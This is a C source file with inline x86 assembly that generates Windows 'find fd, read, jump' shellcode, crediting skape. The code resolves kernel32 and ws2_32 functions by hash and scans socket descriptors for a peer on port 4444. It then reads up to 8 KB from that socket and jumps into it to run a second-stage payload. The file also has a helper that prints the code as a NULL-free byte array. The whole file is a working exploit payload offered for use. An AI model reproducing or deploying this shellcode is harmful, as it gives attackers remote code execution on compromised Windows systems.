/*
 * Generic find fd, read, jump shellcode
 *
 * Targets
 * 
 *    95/98/ME/NT/2K/XP
 *
 * Usage
 *
 *    $ findfdread.exe
 *    Usage: findfdread.exe [test | cstyle]
 *
 *    To generate usable code:
 *
 *    $ findfdread.exe cstyle
 *
 *    To test the code by having it simulate a connection to 127.0.0.1:4444
 *
 *    $ findfdread.exe test
 *
 * Features/Quirks:
 *
 *    * No NULLs.
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile
 *
 *    Kernel32 resolution via PEB (Default)
 *  
 *       cl findfdread.c /link /debug ws2_32.lib
 *
 *    Kernel32 resolution via SEH
 *
 *       cl /DUSE_KERNEL32_METHOD_SEH findfdread.c /link /debug ws2_32.lib
 *
 *    Kernel32 resolution via TOPSTACK (Note: NT/2K/XP only)
 *
 *       cl /DUSE_KERNEL32_METHOD_TOPSTACK findfdread.c /link /debug ws2_32.lib
 *
 * Credits
 *
 * 	vlad902 for ninja foo
 *
 * skape
 * mmiller@hick.org
 */
#include <windows.h>
#include <stdio.h>

#pragma warning(disable: 4068)

int __declspec(naked) findfdread_begin()
{
	__asm
	{
		entry:
			jmp get_find_function              // Jump forward to get find_function's address
		entry_back:
			jmp startup                        // Skip over our lookup functions
		get_find_function:
			call entry_back                    // Call backwards

#define  FIND_FUNCTION_ONLY
#include "generic.c"
#undef   FIND_FUNCTION_ONLY
	
		startup:
			pop  esi                           // Pop the address of find_function

#define  FIND_KERNEL32_ONLY
#define  USE_INLINE
#include "generic.c"
			xchg edx, eax                      // Save it in edx

			push 0xec0e4e8e                    // Push LoadLibraryA hash
			push edx                           // Push kernel32 handle
			call esi                           // Call find_function
			xchg ebx, eax                      // Save the VMA of LoadLibraryA in ebx

		load_ws2_32:
			xor  eax, eax                      // Zero eax
			mov  ax, 0x3233                    // Set low half to 32
			push eax                           // Push it
			push 0x5f327377                    // Push 'ws2_'
			push esp                           // Push the pointer to 'ws2_32'
			call ebx                           // Call LoadLibraryA
			xchg edx, eax                      // Save the handle in edx

		load_ws2_32_syms:
			push 0x95066ef2                    // Push getpeername hash
			push edx                           // Push ws2_32 handle
			call esi                           // Call find_function
			xchg edi, eax

			push 0xe71819b6                    // Push recv hash
			push edx                           // Push ws2_32 handle
			call esi                           // Call find_function
			xchg ebx, eax

		find_fd:
			mov  ebp, esp                      // Save esp in ebp for restoration and sockaddr_in
			xor  esi, esi                      // Zero the fd 
		find_fd_loop:
			inc  esi                           // Increment our fd
			push 0x10                          // Push 16 
			push esp                           // Push the name length pointer
			push ebp                           // Push the sockaddr_in pointer
			push esi                           // Push the fd
			call edi                           // Call getpeername
			mov  esp, ebp
			test eax, eax                      // Check to see if this fd is valid
			jnz  find_fd_loop                  // If ZF is not set, we failed.  Loop again.
		find_fd_check_port:
			cmp  word ptr [ebp + 0x02], 0x5c11 // Check to see if the port matches what we want (4444).
			jne  find_fd_loop                  // If not, loop again.

		recv_fd:
			mov  edi, esp                      // Save esp in edi
			push eax                           // Push Flags (0)
			mov  ah, 0x20                      // Set eax to 0x2000
			push eax                           // Push Length (0x2000)
			push edi                           // Push Buffer
			push esi                           // Push Fd
			call ebx                           // Call recv
		jmp_code:
			jmp  edi                           // Jump into our code

	}
}

void __declspec(naked) findfdread_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
	{
		WSADATA data;
		WORD ver = MAKEWORD(2,2);
		int fd;
		struct sockaddr_in s;
	
		WSAStartup(ver, &data);
	
		fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	
		s.sin_family      = AF_INET;
		s.sin_port        = htons(4444);
		s.sin_addr.s_addr = inet_addr("127.0.0.1");
	
		if (connect(fd, (struct sockaddr *)&s, sizeof(s)) < 0)
		{
			printf("connect failed.\n");

			return 0;
		}
	
		printf("fd is %d.\n", fd);

		findfdread_begin();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)findfdread_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)findfdread_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)findfdread_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)findfdread_end + 1) + 5;
		length  = stop - start;

		fprintf(stdout, "// %lu byte findfdread shellcode\n\n", length);
		fprintf(stdout, "unsigned char findfdread[] = \"");

		for (c = start;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
